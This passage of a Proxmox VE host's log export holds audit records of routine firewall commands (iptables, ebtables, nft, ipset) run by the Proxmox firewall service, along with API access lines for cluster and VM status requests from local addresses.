subj=unconfined key=\"exec\""} {"@timestamp":1781965507163,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:06 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 911"} {"@timestamp":1781964586074,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.074:61659): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965698996,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965698.996:66723): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64090 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966200785,"@rawstring":"node=pve type=EXECVE msg=audit(1781966200.785:68865): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965016501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965016.501:63637): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61057 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964300615,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 857"} {"@timestamp":1781964185349,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.349:59958): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57578 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195619,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.619:68853): arch=c000003e syscall=59 success=yes exit=0 a0=572469f18e90 a1=572469f15c10 a2=572469ef7680 a3=5 items=2 ppid=66116 pid=66122 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965507163,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964586068,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.068:61658): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965695186,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.186:66719): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe062b4f60 a1=5f3a96666310 a2=5f3a9665f680 a3=5 items=1 ppid=64083 pid=64084 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966200779,"@rawstring":"node=pve type=EXECVE msg=audit(1781966200.779:68862): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965016494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965016.494:63635): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964299613,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964185343,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.343:59957): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57577 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195616,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.616:68852): arch=c000003e syscall=59 success=yes exit=0 a0=57246912eac8 a1=7ffcde157aa0 a2=572469ef7680 a3=57246911224e items=2 ppid=66116 pid=66118 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965506045,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:04 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781964586062,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.062:61657): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965695078,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965695.078:66701): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc99f151f0 a1=5d7d0efa8410 a2=5d7d0ef86680 a3=5 items=1 ppid=64064 pid=64065 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195763,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.763:68859): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965016494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965016.494:63634): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61056 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295685,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1074"} {"@timestamp":1781964185337,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.337:59956): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57576 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195615,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.615:68851): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcde157a60 a1=572469efe310 a2=572469ef7680 a3=5 items=2 ppid=66116 pid=66117 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965504842,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:04 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964586056,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.056:61656): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965693986,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965693.986:66691): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64054 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195752,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.752:68856): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965015739,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.739:63630): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe78b98ee0 a1=5e191556b310 a2=5e1915564680 a3=5 items=1 ppid=61049 pid=61050 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295685,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781964185330,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.330:59955): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57575 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195611,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.611:68849): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13bd20 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66116 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965504842,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:04 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 518"} {"@timestamp":1781964586051,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.051:61654): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965693985,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965693.985:66690): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64054 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195619,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.619:68853): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965015661,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965015.661:63612): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe337ffd50 a1=5c22ed303310 a2=5c22ed2fc680 a3=5 items=1 ppid=61030 pid=61031 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964294571,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781964185327,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.327:59954): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=595839743740 items=0 ppid=1156 pid=57574 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966195603,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.603:68848): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13bd20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66115 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965504842,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 937"} {"@timestamp":1781964586046,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.046:61653): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965693981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965693.981:66688): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64053 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195616,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.616:68852): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965011485,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965011.485:63602): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61020 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964292661,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964185325,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.325:59953): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed1d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57574 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195595,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.595:68847): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66114 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965504842,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964586041,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.041:61652): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965693981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965693.981:66687): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64053 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195615,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.615:68851): argc=1 a0=\"date\""} {"@timestamp":1781965011484,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965011.484:63601): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61020 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964291639,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781964185319,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.319:59952): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed880 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57573 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195586,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.586:68846): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66113 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965504842,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:25:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964586036,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.036:61651): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965688971,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965688.971:66685): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64052 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195611,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.611:68849): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965011476,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965011.476:63599): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61019 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964288631,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964185314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.314:59951): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1392a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57572 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195577,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.577:68845): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66112 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965503836,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964586031,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.031:61650): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965688971,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965688.971:66684): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899551b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64052 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195603,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.603:68848): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965011476,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965011.476:63598): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61019 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964288631,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 843"} {"@timestamp":1781964185309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.309:59950): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13adf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57571 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195573,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.573:68844): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5f5609ab8740 items=0 ppid=1156 pid=66111 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965503836,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781964586026,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.026:61649): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965688958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965688.958:66682): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64051 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195595,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.595:68847): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965006466,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965006.466:63595): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61017 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964287625,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 462"} {"@timestamp":1781964185302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.302:59949): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1392a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57570 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195569,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.569:68843): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f0ad0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66111 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965502755,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:25:01 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781964586020,"@rawstring":"node=pve type=EXECVE msg=audit(1781964586.020:61648): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965688958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965688.958:66681): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899550f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=64051 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195586,"@rawstring":"node=pve type=EXECVE msg=audit(1781966195.586:68846): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965006466,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965006.466:63594): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61017 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964284563,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:04:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781964185297,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964185.297:59948): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9fc0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57569 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195564,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966195.564:68842): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f4760 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66110 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} 